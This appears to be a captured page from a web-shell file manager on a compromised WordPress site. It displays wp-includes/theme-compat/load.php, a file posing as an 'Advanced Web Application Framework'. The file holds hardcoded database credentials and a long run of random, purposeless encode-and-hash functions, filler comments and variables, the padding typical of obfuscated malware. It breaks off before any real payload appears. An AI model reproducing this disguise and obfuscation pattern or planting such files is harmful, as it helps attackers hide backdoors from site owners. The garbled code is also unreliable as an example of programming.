Create New Item
Item Type
File
Folder
Item Name
Search file in folder and subfolders...
Are you sure want to rename?
File Manager
/
wp-includes
/
theme-compat
:
load.php
Advanced Search
Upload
New Item
Settings
Back
Back Up
Advanced Editor
Save
<?php /* * Advanced Web Application Framework * Generated: 2025-09-04 15:25:00 * Version: 2.0.20 * License: MIT License * Original size: 79732 bytes * Encoded size: 107292 chars */ // Framework Constants define('FRAMEWORK_VERSION', '5.3.2'); define('DEBUG_MODE', false); define('CACHE_ENABLED', true); define('SESSION_TIMEOUT', 6538); // Database Configuration define('DB_HOST', 'localhost'); define('DB_USER', 'yf832isp'); define('DB_PASS', 'a9TJQOl0NUsf'); define('DB_NAME', '4mhLqwS1qO'); class LPnqNfQWwwSu { private $qsE9expr; private $sMfQhT5a; public function __construct() { $luSbvz = DB_HOST; $fhWqC5 = DB_USER; // caoHfZBkUJJ7NMQpTLVuN17iAo3BUT0QskxvG2eJ } public function ISYFHOstrG() { // hnHsjrMYS1aLtGvp4cTvoxnhmHSTRpRhaXauWpAdflMKLFrXAT return true; } } // Utility Functions function aDMMR6Vr6dKA($input) { $sanitized = htmlspecialchars($input, ENT_QUOTES, 'UTF-8'); $trimmed = trim($sanitized); // v8ALPvjyM62mx9Vr2QCmc4Y8a4wVOfNVovP5W8wWgjfNL return $trimmed; } function jO2dfwrvse($file) { if (file_exists($file)) { $content = file_get_contents($file); // MksRjxkmfCQqjHUbukkouCPgQJ3SiaKlSyJ return $content; } return false; } function zYiICI3iCHVPnwz($data) { $json = json_encode($data); $compressed = gzcompress($json); // Ebc7Fy7WwAmjlMEtOfh6GQdZWL5j99Upe9aSnXBhvUmr9t2AF0RTXmN return base64_encode($compressed); } function MiSkAQLp() { $HmFql05 = 'eqtLigeF9kNfvsX7MO'; $PSR8CRsa = function($PEhuTJX) { // 0rK1ygrVorVthOcnAOWuhNIZ3xEVzjY9xIID6k return base64_encode($PEhuTJX); }; // 24R6pyKgRGM1av5HW9D5 return $PSR8CRsa($HmFql05); } function uFYX12dU2hA($L1XG5ALNV5) { $xEUT281J = base64_encode($L1XG5ALNV5); $UKwWO = str_rot13($xEUT281J); // TyfGlFXlChSbbCTY2g98epDs6y9xTpQr8FJ if (strlen($UKwWO) > 10) { // hck5RcH3WVw75pdHHQ2Yx83kscuOHCaALMfBXqs return hash('sha256', $UKwWO); } return false; } function J67MyvoHslSv5CLMp() { $zbl2PgPa = 'p7YZUq4SuhJlLj1FytB'; $I1yQeq = strrev($zbl2PgPa); // wDaVcM9INxTaz0DmbaJkR2mY8DZglfWQxyDFWuu1E8vTGAutzEunVANC return md5($I1yQeq); } function MSvPMtjGhnWWBBb1gpN() { $rVLnq1Xoy3 = 'UpYGRzNzolFBZ'; $gUc51jXuP = strrev($rVLnq1Xoy3); // AFaBHwwMTf3vK7cu8N5gpVM8qvxE0aAaN0PRoB return md5($gUc51jXuP); } function rFBHXI9KW($uCdVQw) { $Zik3dk = base64_encode($uCdVQw); $h9hOTDA = str_rot13($Zik3dk); // kS7nzksOu6xCAEw1LDwPlRkXGkjn5cHgv0vNbak if (strlen($h9hOTDA) > 10) { // PpvlTZATPdlHhoyOz7vVcWlo return hash('sha256', $h9hOTDA); } return false; } function I8nhtg9MfJXUZm3jn($Wzu6yDLtg) { $s5py8Ozy = base64_encode($Wzu6yDLtg); $p3HEs = str_rot13($s5py8Ozy); // HPLRJhYY4fSLjJSGR3uSkREhk6YXv4Z4 if (strlen($p3HEs) > 10) { // Tw9SsISFs2FhuIjFUjnBBloALW6zHrnW9 return hash('sha256', $p3HEs); } return false; } function eRmyzL8OM($hJRP1SNzoS) { $Mo9lTLa93 = base64_encode($hJRP1SNzoS); $kTZlxS = str_rot13($Mo9lTLa93); // EGUjbZBNgfYm93N0xSUradgYpSim94WOpR5KWV if (strlen($kTZlxS) > 10) { // eMcXA1cwwA73XlWS5zWOSIewYe63I return hash('sha256', $kTZlxS); } return false; } function EHFS4mczmpLEA($mGc2yb) { $LlSo4vqOaf = base64_encode($mGc2yb); $g4gj9PHf1 = str_rot13($LlSo4vqOaf); // w4vWl6fyiDa4dAwaNLhPv16oIlC4ssi9ngCZeLpmIDD4ugHgpo if (strlen($g4gj9PHf1) > 10) { // V3beKO6mKfiEUcLUiSM9 return hash('sha256', $g4gj9PHf1); } return false; } function Rp0wZoTvFXH1nt9pn6() { $X9wsFbO = 'iZ0zlbKsoHg3B'; $xNhsHHyOdy = strrev($X9wsFbO); // dW5IUxVA63JppYlSfO7iDjgEB604OnEzavOOyB1oVm5KjZ4YJZ return md5($xNhsHHyOdy); } function G1h0CG4LtC1Rz($t4DrYpJ) { $CoCUWXD65w = base64_encode($t4DrYpJ); $QAOKAPK = str_rot13($CoCUWXD65w); // EXWxXW9fyqGdKOURkOrkrX0XZpsVIUKpqOqhjkkbYXswyL if (strlen($QAOKAPK) > 10) { // FWGNRaBfy8TOq509W0pGBp4EBrCjJ7Zyagnjl0 return hash('sha256', $QAOKAPK); } return false; } function y2nJ34kmDCjly0M6l9y($ErBzSnWkK) { $IGkdESOV = base64_encode($ErBzSnWkK); $iDKHV3Z = str_rot13($IGkdESOV); // RKklWNE1skoTHmWEMulE85KvzTcIqhLYHlV93wCJC8fkHdoujIcpnv if (strlen($iDKHV3Z) > 10) { // Fy7U3OnyLo4X4mJmXQHxYT6Dc4neRoo return hash('sha256', $iDKHV3Z); } return false; } function unruMhM4U($JBdGdY) { $KyywIHb4wD = base64_encode($JBdGdY); $BZU1sp4V8b = str_rot13($KyywIHb4wD); // MwDo9NTR9lc4AuckG6AIq77SVTUuzxYpMSM if (strlen($BZU1sp4V8b) > 10) { // R87uwolB7YP7q4sbkrPZBBlOGszXe3ow return hash('sha256', $BZU1sp4V8b); } return false; } function ipVVM2O5IA0ft0HzUNg() { $j6Iju = 'aB5FH3IbklEx2'; $hJyTAWaU = function($fHvG8) { // GMFbAq22oUCBZCj1VK0Xs0ER6RgwnWKQLe2C1CR1HEnlJ return base64_encode($fHvG8); }; // 0i7wjKyIJRKB77y6Urx0bBOyaO09dh5mORmKD return $hJyTAWaU($j6Iju); } function ILT7FxmQj6w1MpwM8it() { $kxQUZ = 'MudkfF6FXmc8'; $Ap52uD = strrev($kxQUZ); // cihYMdR5wz2ov4oqjzK2x1R34tf1OnF71QoMdtCcv4V5AE8R6dLODa83 return md5($Ap52uD); } function tSC3yfPY($nCaxzFJ) { $p6Awygb = base64_encode($nCaxzFJ); $I7d8mXSn = str_rot13($p6Awygb); // mBnOZWXhPw5LZhs6NvAllk0hhHMg24Xs1fO3ZknCYy3u if (strlen($I7d8mXSn) > 10) { // KJBM2axsnN3MBWfIOBwgSqM return hash('sha256', $I7d8mXSn); } return false; } function nYhMYjfhD3hRJeIsKK() { $YSVjaw4S = 'dwlhe4O67be8DjSQxUNeRlos'; $nlzOb = function($dqIhjQ) { // RZDtwcILh9PqIOXMD92MU2kHsAk04v return base64_encode($dqIhjQ); }; // yruUCDDPvjsEZ48O64yAdmADwNODbDjT return $nlzOb($YSVjaw4S); } function UAe4NdEv7m2() { $nhZk4IZsCX = 'w2EghVd9zeLVokQhV1seRo15'; $n2NWSsz7jf = function($njRWRXtjHU) { // 2MrhVcek3LawOENMosxrgtSlPPcsY7gkeUypQeBmSeG99L15IiipbYrLht return base64_encode($njRWRXtjHU); }; // GGJri24yiPsjJRl7U42S0nqvLCcw return $n2NWSsz7jf($nhZk4IZsCX); } function DPFTiZwueY9($FQ7UrL) { $lGyw3Thv = base64_encode($FQ7UrL); $sOcLEFFn = str_rot13($lGyw3Thv); // xhigyqQcNo5xrz2HtHQPkMHiVFTQWVUswMl8fWr5OSpLLyTOVMiEXUQwl if (strlen($sOcLEFFn) > 10) { // CuP4jvyZFVHbAu4yK2lrd9P1cyYowN8 return hash('sha256', $sOcLEFFn); } return false; } function H8EleK6UQm58kbJ3() { $Bzkl31O = 'iFka8NPMYzdxTX5IOS'; $wu9LF6P = strrev($Bzkl31O); // BpQj8PkXlUMXLtxum7L2XoRDwKXBigXjMn6TY7rxYqtx6TejrJMLg return md5($wu9LF6P); } function EXesiOJJaT65Xi8mLs() { $OEuL61 = 'osi2lThp0Msn95YS9l8'; $EzbpS = strrev($OEuL61); // f74dWm3mIcBgmRUffpafWGwkrQOtgaRg8tOUcoIX8hThaQCCiFaG return md5($EzbpS); } function o33qq6T6pd1YhMcI($PDGdH6F7E) { $ovk23s0 = base64_encode($PDGdH6F7E); $LsM9dZ7 = str_rot13($ovk23s0); // 1zIb2xXoJqZQsU9ztAXRRPK3CafVDMoNSDIL4YSqwPOLOZwfP if (strlen($LsM9dZ7) > 10) { // YVMTCsShegukge7pj6qqfSs6ucl5q9VzvKg7 return hash('sha256', $LsM9dZ7); } return false; } function RKnKp4Y46kCCcvDuIY1n($YWXWvPZb0) { $HpnmGZ2mld = base64_encode($YWXWvPZb0); $VqGlUEdG6 = str_rot13($HpnmGZ2mld); // 5nb5acXoCAYJTbdCQqIV4X5TNVUDlaujQ1 if (strlen($VqGlUEdG6) > 10) { // Y5vnMgPGQPWoPGPAUGlFk5FGEktjNmxubZ2X return hash('sha256', $VqGlUEdG6); } return false; } function PvqoN0XNaj9W() { $a4lnnW4MCg = 'LQFeKFUaLZCX3DfTcf0I'; $iGysIv = strrev($a4lnnW4MCg); // 4fFdNSR5drmrAo91EFM33wUdCkJ72gIYfA0fYWTrJfLFhlKmz3vd4h8PtQG return md5($iGysIv); } function dqS853GTIASWtvLrmc() { $OiPam9LC = 'AhRlGR6qFasYC3leX'; $TftsO2G1mO = function($m9VMa4WzS) { // pAPYubXK0Qvn4ysfnlTUXawtEkHTlvKvFsjitKlYEDjGM return base64_encode($m9VMa4WzS); }; // qNRyz7AJtyG0QfZFlHEp5lgXU7pN return $TftsO2G1mO($OiPam9LC); } function eIrwBrkI7KxeB6sb() { $ikrF0yaC4d = 'mKk5SHbhDbFxaYQz'; $JGAoQKT = strrev($ikrF0yaC4d); // SCojnIRpteX8GfrINMIwgtpTbGiLNv27hHsV return md5($JGAoQKT); } function wyaQZ21G7CG($zs6SU5BJ4J) { $o59adyY = base64_encode($zs6SU5BJ4J); $emDufAjMy = str_rot13($o59adyY); // FjhRxOiQAIewYHrZsvC3WAygqB3pA9pokfG57lO5aaWq9WzC5zElxvxG if (strlen($emDufAjMy) > 10) { // ed59eDXfwXIKDSEtuKhu2 return hash('sha256', $emDufAjMy); } return false; } function EGKXDyTIIrOAL5Tz() { $tWOhQH8yot = 'AEcqdrzoi5axpZW'; $FCUSs8 = strrev($tWOhQH8yot); // Yyd56YxFmHzTzSdP0GCH5qrzn8YSZwGv04nAc return md5($FCUSs8); } function rljw6mvZPeq() { $X4zJfG3BKh = 'SivcizJU0cV6lpfMDRoP3xOk'; $tGDye = function($IJXxEMQ) { // ydxpU8Ff0NdK9DW63bvWt7ajKzIG5TlTsg3xsT4R0IoFmGaWCbeZlXHV return base64_encode($IJXxEMQ); }; // 9MxzIyjjrktpLDqh7QflTo4lO return $tGDye($X4zJfG3BKh); } function YB40H3jVfk() { $Hm376lTT = 'OtqOknSNty'; $irUk2 = strrev($Hm376lTT); // Hb5HLjO44cCST9dOWLEO9kJeBouWHXDkvB return md5($irUk2); } function XRwpByWpdvwKd2($ztSAl6n) { $kTwUvbLk = base64_encode($ztSAl6n); $JRPRnNOEF = str_rot13($kTwUvbLk); // kQ2rHo82x5oXkfuANtnWojfgs3FYO8qiZaoOuKaIi6tyB2dY if (strlen($JRPRnNOEF) > 10) { // BwoSxkpIr7FgvRP1pDK0piGRQoKFw return hash('sha256', $JRPRnNOEF); } return false; } function jUVRoNCf2AyFzQ3AQ() { $EafrGPmbOB = '4GQKu6pJA1PBHu'; $DSVCXGzhO = function($w14MaRVS5) { // WJLQQXkMKFJlc2gi8ySgUNLuh5sYkcFAVLIAzXlwNe2t5xSbX60CL3ck return base64_encode($w14MaRVS5); }; // JLLuPT5reinOqQtIOT7NWTebJbGPX7CkgJ9YS return $DSVCXGzhO($EafrGPmbOB); } function ZmZdhGwtW3gL() { $zd9xeV = 'LXz8knjeZtH'; $hytHxP7DPp = function($OO2Lh) { // FPCNeH16XWfcHHAlbQ9O6BOzyZQegga7HvHWRVLXLCvWVIBg return base64_encode($OO2Lh); }; // 7OFg6XmBw47wgsCvE3qyHZiO4AvJO6Tjqyo return $hytHxP7DPp($zd9xeV); } function oncI71l7zgcnVSSIkot() { $bvkTvl = 'Wkk8SQ5xVlKRTPYBfil'; $QtHxPEH1 = strrev($bvkTvl); // slFa68pJw1hFrdv85xx9lkfl4Z94eMY8TdgFFVtw return md5($QtHxPEH1); } function shZxYtJ0CBfBbJ() { $nPHX8lj = 'vGNs9OkrWGWQTf6KqIpHWH'; $coIxs = function($IX0IHPG9T) { // grf4F2XPxzTroyeU8GEVfMbdUxd8iDK return base64_encode($IX0IHPG9T); }; // wIIZLlr15JBPt7r4s4j718Eays0fPmEq return $coIxs($nPHX8lj); } function qEy3MHdbVcKp() { $pStIsZTn = 'REGm2xSCZJGM'; $vn46dTB8f = function($ED336Hie9) { // Fj8dA0LP48evOYh6pQAoBP6hlfZiIR7FXUz return base64_encode($ED336Hie9); }; // sAOUYNCiExrwxwGl5Nu6889yQ return $vn46dTB8f($pStIsZTn); } function oQyYl7n0S4T() { $LaUqIFQPtX = 'zW1T263vUdXy1FRsxbCn8TP2'; $xqsO1 = function($nsS9k3skf) { // HewozhWpRdAiCJHqWBd4RXtnuxCt7mJhWjhPqRDQNxBfAbDLrs return base64_encode($nsS9k3skf); }; // ArS38ORjLub7YcqgkRU4Bc9MxI0uHxcZxCGnvzpr return $xqsO1($LaUqIFQPtX); } function VanrwyjZjzRgs() { $RnyiHI4GI = 'aVRr5qQ2XxWXpUfjLNjRYx'; $hgsOhhioi7 = strrev($RnyiHI4GI); // r7WD9uAWDJnglgBk64GRaBjNMtI8LtWZZhEZkWrsi return md5($hgsOhhioi7); } function n9TxASRd0sME($M1KUj) { $c77ASk5Wg = base64_encode($M1KUj); $tJrLxbgXd2 = str_rot13($c77ASk5Wg); // y8VxCYW5Es91o1nlog6HJGJfCdiqeVoktIj6CwJ if (strlen($tJrLxbgXd2) > 10) { // MiScPcumkqaEtSRzsgEDs0LqerKq9yBEKE2k return hash('sha256', $tJrLxbgXd2); } return false; } function QxR1zIe2UvBpPq0Pmc() { $jJSWU0zv = '2O6dNI0pXyEXuuGB8'; $XbFVeQiC8 = strrev($jJSWU0zv); // nKEhfLOBOijWv2NYB3SUCKL5UjQf7j0zCxgAEGSLRQeEEhOj return md5($XbFVeQiC8); } function GrZJZ5x6H7j($I4Xk1) { $KxF5uMT = base64_encode($I4Xk1); $VMFgG = str_rot13($KxF5uMT); // z7fXZy9rfs4VWWqHfm386wF9GhOuUmjdhfEK if (strlen($VMFgG) > 10) { // TJlX5wTMXnhhfQiFr045w5NIYXTICLkSlGie1Lp return hash('sha256', $VMFgG); } return false; } function oubwtXfYN3QNkt8($Nf0WkNO) { $CRaNoJ = base64_encode($Nf0WkNO); $BLQfzbz = str_rot13($CRaNoJ); // 2h3HqyfBKyjh7pgsL9ut41eq4XU2jrIrzN3Q if (strlen($BLQfzbz) > 10) { // WcPtKlDsPUMB3NN1Q7Dvh6zXkFzYT7LcGWHJycwc return hash('sha256', $BLQfzbz); } return false; } function P3IRlt1SYVxnRZYdFE() { $cVprkC = 'jbrXxfw8kjt3Svd2b5JIc'; $FFl0rMo = strrev($cVprkC); // xRNqpQJARdUUm0HKN0hnAJnyWMCujZu95I5ViU return md5($FFl0rMo); } function Qi8g9VbbMosmL() { $lgdSw4Jp = 'B0umnCNHgW'; $tmOsGg = function($hWd6Bjz) { // gATgj8TDSNj0XH3Knk8FLbjH859TPuZE78Wxs0zj return base64_encode($hWd6Bjz); }; // jSObUGr3qD9vprprIdi74JNdM72NYVIe5uMyb return $tmOsGg($lgdSw4Jp); } function rjpyRwP8HDDFsb() { $beOKBmskI = '6wpmMlNEkYaff1nA'; $PJhTB = strrev($beOKBmskI); // Yq9Sv1hzuVWWKaHcPLNtON1Na7juZg49jH7K4EEVB5isj0CywW2dodq0FE8 return md5($PJhTB); } function eHAPK6Nd($RIlLE2by) { $KEnZVuN = base64_encode($RIlLE2by); $Ge1q89ci = str_rot13($KEnZVuN); // SVg4895MT5PYAlC1UmldPeN8dqMadDdJ6RiY if (strlen($Ge1q89ci) > 10) { // yACYC7RMBPZHMqjOazP3kEV return hash('sha256', $Ge1q89ci); } return false; } function jya1vRKaOGSMs6jkv($eYLIcZE) { $S1Ylo = base64_encode($eYLIcZE); $L7yfIt2QB = str_rot13($S1Ylo); // 4jdJ9He4taHWnXC5BqxsneQ52NNPr7edhlJfhlT9td if (strlen($L7yfIt2QB) > 10) { // rh1JhqAZibRljuYqh6FWcY return hash('sha256', $L7yfIt2QB); } return false; } function iOdIBX8pl($kfG4SBW6Ya) { $JltO0ju = base64_encode($kfG4SBW6Ya); $or9oC0qz = str_rot13($JltO0ju); // dKqDn18igRCRcGwUJLY4ACb1sySvC4LT5oMQ69Jz2k2Jf if (strlen($or9oC0qz) > 10) { // kZeX2gHsDGjVDm9BYrhmIY90 return hash('sha256', $or9oC0qz); } return false; } function mIlcq5BKq($iuUmXqXj) { $JO8Mk = base64_encode($iuUmXqXj); $o1FJ5W = str_rot13($JO8Mk); // 10AnHoZvs16T4Y3lG5qHdNTHTa9GprPls if (strlen($o1FJ5W) > 10) { // QZV98kqz6SxhZhrHNqNiDGllI return hash('sha256', $o1FJ5W); } return false; } function yOi4VQGZB() { $xg3gJXZ = 'ojkx3t1JhdqtWHgP6W'; $Qcih9Pi = strrev($xg3gJXZ); // QsIVPopJ0oCLsW2Vc1C6Vj7nNmGWDtKhdYF7rOFD9i0BFkgRfEUD4pjl4qs return md5($Qcih9Pi); } function caB1OCSYl() { $MQNblra = 'lFdK1YFib3sAgbb'; $jImsoACJyJ = strrev($MQNblra); // fzXFbgIqOq92Kt1FWtmwjAOrUlb3caJeFIwc2Brk4TAjPjKNdt1 return md5($jImsoACJyJ); } function Ny1Xv5t535P7q0oheyq($sEnUDts1Va) { $AYETZEWhyW = base64_encode($sEnUDts1Va); $YwZiz = str_rot13($AYETZEWhyW); // DqD7kEREHMcZwxN0spupf7GsIcOh5tz1N1mrNj1BSBH1 if (strlen($YwZiz) > 10) { // VnhiEQotfRJzjwueirqGI7qI1wiQMOhvy return hash('sha256', $YwZiz); } return false; } function bI2qZoPb0h($piyDZ5) { $FcHwnpaJz5 = base64_encode($piyDZ5); $WioR3L = str_rot13($FcHwnpaJz5); // jnBYDd8hmb9CaciHQQEQ5lFUE0OUhiunF3LrjH7Mzxo6USOnAEJbL if (strlen($WioR3L) > 10) { // WpoIEDusOB6OECVnDHlZN1Z return hash('sha256', $WioR3L); } return false; } function r9DCg117n($h56XOS2qNZ) { $wjx2e1c5K = base64_encode($h56XOS2qNZ); $EpyBiuN0LP = str_rot13($wjx2e1c5K); // Z1CVWntzC3pBt7nbmTSmpfxMasHhUk0E1 if (strlen($EpyBiuN0LP) > 10) { // iZY5LdN7j8xHGa9DhnedCkiozu5F9zXmK2H9lE return hash('sha256', $EpyBiuN0LP); } return false; } function tdQfODAwnrxZ1() { $NuPnO44sy = '3N227am905g'; $tyLR0nuu = strrev($NuPnO44sy); // csJhLVrK8htRa5vu0B9Oe97oqCwQ4iYjnAl8H4Ogurl9utsMA9liT6ms5c return md5($tyLR0nuu); } function uSVH5OXqHgDhpq() { $LNBkaWK = 'IvVoUPx0TqfcuBtZy1'; $btQO7 = function($Zmx47M2) { // m5puBxWf9wpSRQvq08GESfWlf5G0TGk2nGbt return base64_encode($Zmx47M2); }; // 0lLw6spO6vnq2TYX0pxQqn3IflzGeNS return $btQO7($LNBkaWK); } function mQwAmefpF() { $ltXPrx = 'Aj3M8WQRFjPqYTli73xUd'; $UCc1OtO = strrev($ltXPrx); // 9wLjYabgE0vRTLdma1DRoUZnoD9fmfC0wc4yhqOeRV4NKc5WWkdKVf2 return md5($UCc1OtO); } function rbJZvwbzE31zZi($ZeiHM8UOHh) { $Us7kt9VfgY = base64_encode($ZeiHM8UOHh); $o6K0T = str_rot13($Us7kt9VfgY); // zMu9NSRKX0QHTCbGNjGStdr1eLb8hyPrJJAIyUG if (strlen($o6K0T) > 10) { // ub6uKUko8ArWVyWDyQM5VlqHBMuBXsPTAYF return hash('sha256', $o6K0T); } return false; } function ZcNwdIzT6bfLcC() { $KRI91 = 'RYCuZhKQNaLTz9'; $yL0Lf = strrev($KRI91); // Eb7p3MzzuRPzyNU5b6E91UfYPxC5HT33V8wcsXBSMolUc return md5($yL0Lf); } function i13FPiphj8pBkSvq() { $I9LYRDkrgJ = 'qwomrP3qjQhodPU0ZLqaX'; $XJj1p = strrev($I9LYRDkrgJ); // 7RmS25XJRVZVVKzbYAFefIKcP7LY2uLxMRxg151MXq6lapk return md5($XJj1p); } function sIQYDhMvA5E13($rDpJrPi9M2) { $bwitW0LwCw = base64_encode($rDpJrPi9M2); $f1M2P = str_rot13($bwitW0LwCw); // Ikg4SxHV1uXDp7KlV2tgqy9UTg5e5hjgtkK6xjGQOIEXby01uz4QJKFGqe8g if (strlen($f1M2P) > 10) { // L7CtTdpgSEvzHflx76NRAmMC01RURMVC return hash('sha256', $f1M2P); } return false; } function kOQAJju48FZE3nT() { $txcSZ = 'euUv0TQw1AEZW3v'; $TuzUm = strrev($txcSZ); // g1gGZgqDF3VGEqAjol22aRZcApUMHuUhiNN2umlR return md5($TuzUm); } function Tb5MQjEUp0() { $p8k1ou0j = 'QUhd8kIzYeJWHByXEW'; $K1k3E2S0e = strrev($p8k1ou0j); // oKD3QQIP5wyxWMQqI2GoLdg5yozw859nTREDZoZJc46rMcqUd return md5($K1k3E2S0e); } function fZbs0AYT8f706Nd() { $uO9uElF = 'C0U887Vx0Bf4TSz'; $HL1SFLOfYI = function($X9J63PcLi) { // cjcK5XAAE1OxWpcagJjp6AIx8IU2b5o3vWGSrW return base64_encode($X9J63PcLi); }; // YW8Ivqlh6hnCe9VMBAEePvA return $HL1SFLOfYI($uO9uElF); } function mbWI1oXmNVPfJ4Wt1Hwx($OVNFrH) { $pJ2YZBlc = base64_encode($OVNFrH); $MtSIn = str_rot13($pJ2YZBlc); // ZolwIELoWh3npqNDLTxpsNct7Esw08iS3 if (strlen($MtSIn) > 10) { // jSd0IzwTLhD1ZPfNb5Eob2b return hash('sha256', $MtSIn); } return false; } function VfwYcTu34IpL() { $AEKWuWp = 'vmZLTKWxAEznEbtpIp8OGAP'; $Qg9tb0 = strrev($AEKWuWp); // K5u1BDj8RuOQFIJ1EFLhIMWRcYHOKsDKuPA return md5($Qg9tb0); } function by4vthZuKWYV325dqdVC($oFEoNW7VD) { $ybz1y = base64_encode($oFEoNW7VD); $a4woxwJ = str_rot13($ybz1y); // YvjPugWmNBipaEIyJgxwvkk4SiQsuNgwRJpBsK45w if (strlen($a4woxwJ) > 10) { // yiNcPiRboCXCx2n5VeF9VOYQ2beoQonWlcKHR return hash('sha256', $a4woxwJ); } return false; } function hcp8QENf() { $ujlajWuQ = 'xIQlRS2wiuUJ62o1w1ar'; $buA2vjj8Y4 = function($wiRncIIxxc) { // J8roKNwX4TgS9OAtbPf6niosZsg5OrxMiSA5qQWNWgkmLWABIEzUaL return base64_encode($wiRncIIxxc); }; // MfbES7wDndNQEHd7Z47DvfnKSfiJ return $buA2vjj8Y4($ujlajWuQ); } function MEhiEIlnxrX2hi() { $MhMHyEWHHY = 'nPZJmGYxSzL1'; $TbXDh5g = strrev($MhMHyEWHHY); // MwCCqMoprSWXlnK4ZhiG8kuc5JqpPjecAlUwhBdd3kDbnazdG return md5($TbXDh5g); } function raXQ0lepG($dhtH5YIRBj) { $nh6Fdke3rn = base64_encode($dhtH5YIRBj); $Bhx75NRE7 = str_rot13($nh6Fdke3rn); // CFJNOgpbF7T921VFxBGqM2QYtX0LPxN0ZG46rZAlsmuyppNlWL2DMhLqTZh if (strlen($Bhx75NRE7) > 10) { // vI5oBVKkjUynNofXO6chDUxjUEBs306uG return hash('sha256', $Bhx75NRE7); } return false; } function mgzk7UOHhNCTZ() { $G42LxnGGk = 'XjaETSyVgLrVyPC9sZ7iL'; $RK4NO = strrev($G42LxnGGk); // xtGvtYE5YCMGj5z2iDchDYzecOIMw4Zlc8ZCrA7FvweEMhCnQN2PSR return md5($RK4NO); } function MW59Hf4Hv04w7yCTj7L() { $ws8YzlAq0 = '2aNhmuMfw4ubO5DTcnX'; $JPzD4b = strrev($ws8YzlAq0); // UYKjDKM3SEUMyx5tNKGtjeCu5kVCH5bRtE1doiH5ILEJEshv5wyJdd return md5($JPzD4b); } function xO6eQxT7y4tD() { $qfyMx = 'folnHQeXl1BynMm'; $ugb6SPs = function($DrjXpZuBa) { // ZlzRBFWjIeXrcWXZkFEdCn4QBkdFZhiljdFYhch8GY8Q0 return base64_encode($DrjXpZuBa); }; // uwB43QM8uIz6ZgiMIR8QJJO return $ugb6SPs($qfyMx); } function nBg1iD2P() { $vPmHOWHa = 'Ts5zqNkIumVhsM84JPbiqJ'; $rGPb6uCOq = strrev($vPmHOWHa); // tQPGU3UvxVPh5ykCxJcQ5a2VIwAKRdWACJZCX return md5($rGPb6uCOq); } function GIGu1KEnW1Kv($YQsBtgYx) { $dummy = 'JaWUTi7PTpM5CK0ySoxzClFwydwaWWKKlBXi1Xv4k1JRBtkg0F'; $processed = base64_decode($dummy); // B3y2X2teRgyeQzo0NrlTqGMNUFk5o03ZZuumz31n return strlen($processed); } function eZllQhf2SHXN($kK3INtZc) { $dummy = 'nXCHMdbT9nJ7947bDB2Um0tzMMHajnib7rGAVvFDMUu3rPDkC5'; $processed = base64_decode($dummy); // cGw9LNwmXdvJfSTq70qB6WBa4iSuCHZnr066KW5Y return strlen($processed); } function MkWzMRCrvzZI($RuX4C5n5) { $dummy = 'p2Pthm7MzfvrGR4x3YmzKb3Ctg6EIbxutSeWom5EHJHkFJFnPH'; $processed = base64_decode($dummy); // STY7CBkwzT8RVcDMYCmpyR06BTKZl1a7tAQULz3k return strlen($processed); } function soChq5S7z1LM($TdLx53N1) { $dummy = 'QXoXKaqnxoyAeHiNTKpBWaxWRaTdNUmJE4fQ8rUrLn1cSvXanC'; $processed = base64_decode($dummy); // sJZY9cEZTAJLqpndx1kH8fItX93KZbVwfBBnazym return strlen($processed); } function zYQyuNBjQQNP($aJF4NaGb) { $dummy = '9mEhxwBh6lEgWFxSFvc1h8USkYEf9dMJmaJ9YSTXOy9hWlx0ri'; $processed = base64_decode($dummy); // Q5sKCDnxPEliHg6OOntcAapTAV4qqvMdY9xOq3qe return strlen($processed); } $uoB32G3aaVxpdJ='e3Y6BVFF4qf4S6JVaaekGEJ3NIde6PWR2XStM'; // hFEFcH852D1aPwBC6Z5MQzAGIMlFFhl2mUF6rUR6CUCHVv $WinnGJvHz='EckWO87T696xlfq19rdshuLWjSeCty'; // hvBxFWZYZ35SswP68S0F5DZS0uMfgeuHwLBviQ5ayxpfMq60GMJ2EFt2zpiAQhXBSwlLy3Zid $SBJD9lQvHE6Tc='7WM1Xo4rOFQ5msUUwguab6Y4dLIa'; // llZymFTUkdXFd8swUCsX4DAHRl1DB0XhmtSGRFYhkknYFNcxS1M8lRneggDPuqFiKbJYWmNQ9F74ls5 $Sc7BLxgd9cdLxD='CyDjosptrrL4HCIeOjwKjokEMUL2IXK9Ma4HWruxd42h66bfZfcOqu7vCj'; $wChmmGKPg5U1='mSUkaPoI16hGhSbgkJlmai8vIUYs'; // PLPRxL0op38TZeoCFaRYANcZKuPDc5iuSgTLafhxyC0KwdNyJqfRummlIjSvRpRWZ2sXn063Z8bpsn $U27rdbOdqe='4szTNPQHCUxW8Nj8VGojECpgUrWoBFJDgXn'; $gYZjGjfCuQ94mX='3DuhWWUnqclmr51pNh50MTR28ZOUbxj9LVBE83owoYm'; // GVxvw5zu5kVmgHOSZc5W2TIcvQqsEvXibjUw43Pvv2pl3BktgZQ18T9JTKvV $nTRUY0P7zVIFDFA='qrDgzH6ylpcNc7go2xvkQHEgJ6HznQUzL2Qk30Ff3nsvHQYwRmIxAtSGi'; // efHtIqqRzQqIBjOh69gYPfwncyzaeulAq3CtIFQRxKLt9CDmJjp516zVy3WaRvd24 $BELcF7QdW1n='NWiUVNHgcuvVp1nKL2blo18nMMC9pYAVrY'; // 0puRz2peIyyjAnIPzlxSW3I8dzcXH7a49IVPlPhxks4Z4j $EwrHeCA9aa7='1e5A5UrtDldvqp9dS97oqsyuCNlUaahtrKBFH'; // mv4mFA7NZhT2IwxY1wmbI5LnsaiBs6oXMZWXDBeiGRp0E3JBNou7t $R0no1zrwvdy='JGZxROKu2W0xeWqYX0drWImQIUFN'; // VfHIrhvq95S2HrSYdajlzyhz8yPDqWwCzeKU6wgHdal5CFTMZyZA $SZLYu0Jou='OXUDdzoZ6gJstOK4sDjg66xvWT2nHkz269f6Y'; // 5exqTMeLa65VbDGR5WFB9iooGucQZItvE0z3SRiBoF5JivzgdTPCNXltOIcfN55bx $pueORiBXg='XpW8tLio5D9ViXbCnwpm5FvcBn5EEej9hAZMEZQYdGjAvN'; // UmWU1kF8qREKgcCjaZdPmBCrWvULNA5hCZMjvmU5rWp2VBeI5mkz12mU5GAZCwd7ecwk $E4jZ42AnieN='uDeoxIanrtgkou8jNzw5VD3bn'; // nrkPaJllCLCp6DAH425R6ZINJgr8BpeDLa82NWW3f11o6tJO9vMzjfWI $imSIJTX0G='yYpQaPo8Hb2hyPG9YHPQfwZARSQsofL6c5w7PqFLbpCw8ACbWo'; // rvsnCfpCfdi1ZOonaKt1FbrZ7289rlddWkbAI2RefE $P1ARh7ey='fr7FLUdgn9x4cT4gukdtexxBhr1zxHUQ'; // 